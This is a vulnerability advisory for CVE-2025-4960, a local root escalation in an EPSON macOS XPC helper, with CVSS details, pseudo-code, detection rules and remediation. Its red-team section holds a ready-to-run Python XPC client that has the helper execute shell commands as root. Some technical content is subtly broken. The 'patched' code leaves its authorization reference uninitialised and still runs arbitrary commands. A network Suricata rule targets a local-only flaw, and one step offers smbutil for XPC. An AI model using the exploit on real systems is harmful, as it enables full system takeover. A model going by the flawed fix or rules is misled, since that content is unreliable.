CVE-2025-4960

Executive Summary

CVE-2025-4960 is a local privilege escalation vulnerability in the com.epson.InstallNavi.helper XPC service bundled with the EPSON printer driver installer for macOS. The service fails to properly authenticate clients over the XPC protocol and does not enforce macOS’s authorization model, allowing any local user to request and be granted privileged operations. Although the service calls AuthorizationCopyRights, it uses overly permissive custom rights registered in /var/db/auth.db, which the authorization daemon grants to any user regardless of privilege level. An attacker can exploit this to execute arbitrary commands or install system components without administrative credentials. The CVSS score is 7.8 (High), and no public exploit or patch is currently available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – requires local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions needed.
• Privileges Required (PR): Low (L) – attacker needs only a standard user account.
• User Interaction (UI): None (N) – no user action required beyond initial access.
• Scope (S): Unchanged (U) – the vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – full read access to system files.
• Integrity (I): High (H) – full write access to system files.
• Availability (A): High (H) – ability to disrupt system services.

Threat Level: High. The vulnerability allows a low-privileged local user to gain root privileges, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the com.epson.InstallNavi.helper XPC service, which is installed as a privileged helper tool by the EPSON printer driver installer. The service is intended to perform privileged operations such as installing printer drivers or executing system commands on behalf of the installer. However, it contains two critical flaws:

1. Improper XPC Client Authentication: The service does not validate the identity or authorization of the calling process over the XPC connection. Any local process can connect to the service and request privileged actions.

2. Overly Permissive Authorization Rights: The service registers custom authorization rights in the system’s authorization database (/var/db/auth.db) using AuthorizationCopyRights. These rights are configured with overly permissive rules, allowing the authorization daemon to grant them to any local user without requiring administrator credentials. The rights are likely defined with a shared or authenticate-user flag set to false, bypassing the standard privilege escalation prompt.

The attack flow:

• A local user (e.g., guest) connects to the com.epson.InstallNavi.helper XPC service.
• The user requests a privileged operation (e.g., execute a shell command).
• The service calls AuthorizationCopyRights with the custom right, which the daemon grants without authentication.
• The service performs the operation with root privileges.

This is a classic example of a vulnerable XPC service that fails to follow Apple’s Secure Coding Guide for XPC services, specifically the requirement to use SMAuthorizedClients or SecRequirement to restrict connections to trusted clients.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code pattern is:

Vulnerable (pseudo-code):

// In com.epson.InstallNavi.helper
- (void)executeCommand:(NSString *)command withReply:(void (^)(NSData *))reply {
    // No client authentication
    AuthorizationRef authRef;
    OSStatus status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
    if (status != errAuthorizationSuccess) {
        reply(nil);
        return;
    }
    // Overly permissive right
    AuthorizationItem right = { "com.epson.installnavi.helper.execute", 0, NULL, 0 };
    AuthorizationRights rights = { 1, &right };
    AuthorizationFlags flags = kAuthorizationFlagDefaults;
    status = AuthorizationCopyRights(authRef, &rights, kAuthorizationEmptyEnvironment, flags, NULL);
    if (status == errAuthorizationSuccess) {
        // Execute command with root privileges
        system([command UTF8String]);
    }
    AuthorizationFree(authRef, kAuthorizationFlagDefaults);
}

Patched (expected):

// In com.epson.InstallNavi.helper
- (void)executeCommand:(NSString *)command withReply:(void (^)(NSData *))reply {
    // Validate client using XPC audit session
    audit_token_t token;
    xpc_connection_get_audit_token(self.connection, &token);
    SecTaskRef task = SecTaskCreateWithAuditToken(NULL, token);
    if (!task) {
        reply(nil);
        return;
    }
    // Require client to be signed by Epson with specific bundle ID
    SecRequirementRef requirement;
    SecRequirementCreateWithString(CFSTR("identifier \"com.epson.installer\" and anchor apple generic"), kSecCSDefaultFlags, &requirement);
    OSStatus status = SecTaskValidateWithRequirement(task, requirement);
    if (status != errSecSuccess) {
        reply(nil);
        return;
    }
    // Use proper authorization with admin rights
    AuthorizationRef authRef;
    AuthorizationItem right = { kAuthorizationRightExecute, 0, NULL, 0 };
    AuthorizationRights rights = { 1, &right };
    AuthorizationFlags flags = kAuthorizationFlagInteractionAllowed | kAuthorizationFlagExtendRights;
    status = AuthorizationCopyRights(authRef, &rights, kAuthorizationEmptyEnvironment, flags, NULL);
    if (status == errAuthorizationSuccess) {
        // Execute command with root privileges
        system([command UTF8String]);
    }
    AuthorizationFree(authRef, kAuthorizationFlagDefaults);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• macOS system with EPSON printer driver installed (any version).
• Local user account (e.g., guest).

Exploit Steps:

1. Identify the XPC service endpoint:

   ls /Library/PrivilegedHelperTools/com.epson.InstallNavi.helper
   

2. Create a malicious client that connects to the service:

   import objc
   from Foundation import NSObject, NSXPCConnection, NSXPCInterface
   from PyObjCTools import AppHelper
   
   class Client(NSObject):
       def connect(self):
           connection = NSXPCConnection.alloc().initWithMachServiceName_options_("com.epson.InstallNavi.helper", 0)
           connection.remoteObjectInterface = NSXPCInterface.interfaceWithProtocol_(objc.protocolNamed("EpsonInstallNaviProtocol"))
           connection.resume()
           proxy = connection.remoteObjectProxy
           proxy.executeCommand_("echo 'pwned' > /tmp/pwned.txt")
           connection.invalidate()
   
   if __name__ == "__main__":
       client = Client.alloc().init()
       client.connect()
       AppHelper.runConsoleEventLoop()
   

3. Run the client as a low-privileged user:

   sudo -u guest python3 exploit.py
   

4. Verify privilege escalation:

   ls -la /tmp/pwned.txt  # Should be owned by root
   

Alternative using launchctl (if service is plist-based):

# Load the service as a low-privileged user
launchctl load /Library/LaunchDaemons/com.epson.InstallNavi.plist
# Use `smbutil` or custom binary to interact with XPC

Blue Team

Detection:

• Monitor for unusual XPC connections to com.epson.InstallNavi.helper from non-Epson processes.
• Audit /var/db/auth.db for custom rights with overly permissive rules.
• Check for unauthorized use of AuthorizationCopyRights with custom rights.

Hunting:

# List all XPC services and their clients
sudo log stream --predicate 'subsystem == "com.apple.xpc" && message contains "com.epson.InstallNavi"'
# Check auth.db for custom rights
sudo sqlite3 /var/db/auth.db "SELECT * FROM rights WHERE name LIKE '%epson%';"

Prevention:

• Remove the EPSON printer driver if not needed.
• Apply the principle of least privilege to XPC services using SMAuthorizedClients.
• Use endpoint detection and response (EDR) to block unauthorized XPC connections.

Indicators of Compromise (IOCs)

• File: /Library/PrivilegedHelperTools/com.epson.InstallNavi.helper
• File: /Library/LaunchDaemons/com.epson.InstallNavi.plist
• Process: com.epson.InstallNavi.helper running as root
• XPC Service: com.epson.InstallNavi.helper
• Auth DB Entry: Custom rights like com.epson.installnavi.helper.* in /var/db/auth.db
• Log: XPC connection attempts from non-Epson processes in log stream
• Network: No network indicators (local only)

Detection Engineering

YARA Rule

rule CVE_2025_4960_Epson_XPC_Escalation {
    meta:
        description = "Detects the vulnerable com.epson.InstallNavi.helper binary"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-4960"
    strings:
        $xpc_service = "com.epson.InstallNavi.helper" ascii wide
        $auth_right = "com.epson.installnavi.helper" ascii wide
        $auth_copy = "AuthorizationCopyRights" ascii wide
    condition:
        $xpc_service and $auth_right and $auth_copy
}

Sigma Rule

title: CVE-2025-4960 - Epson XPC Privilege Escalation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-4960 via XPC connection to com.epson.InstallNavi.helper
author: Valters IT
date: 2025-04-10
logsource:
    product: macos
    service: unified_log
detection:
    selection:
        subsystem: "com.apple.xpc"
        message|contains: "com.epson.InstallNavi"
    condition: selection
falsepositives:
    - Legitimate EPSON installer operations
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-4960 - Epson XPC Privilege Escalation Attempt"; content:"com.epson.InstallNavi.helper"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the vulnerable service if EPSON printer driver is not required:

   sudo launchctl unload /Library/LaunchDaemons/com.epson.InstallNavi.plist
   sudo rm /Library/PrivilegedHelperTools/com.epson.InstallNavi.helper
   sudo rm /Library/LaunchDaemons/com.epson.InstallNavi.plist
   

2. Restrict XPC service using SMAuthorizedClients in the service’s Info.plist:

   <key>SMAuthorizedClients</key>
   <array>
       <string>identifier "com.epson.installer" and anchor apple generic</string>
   </array>
   

3. Audit authorization database for overly permissive rights:

   sudo sqlite3 /var/db/auth.db "DELETE FROM rights WHERE name LIKE '%epson%';"
   

Long-term:

• Contact EPSON for an official patch.
• Implement endpoint detection rules for XPC abuse.
• Educate users on the risks of installing printer drivers from untrusted sources.

Valters IT
DevSecOps & Cyber Threat Intelligence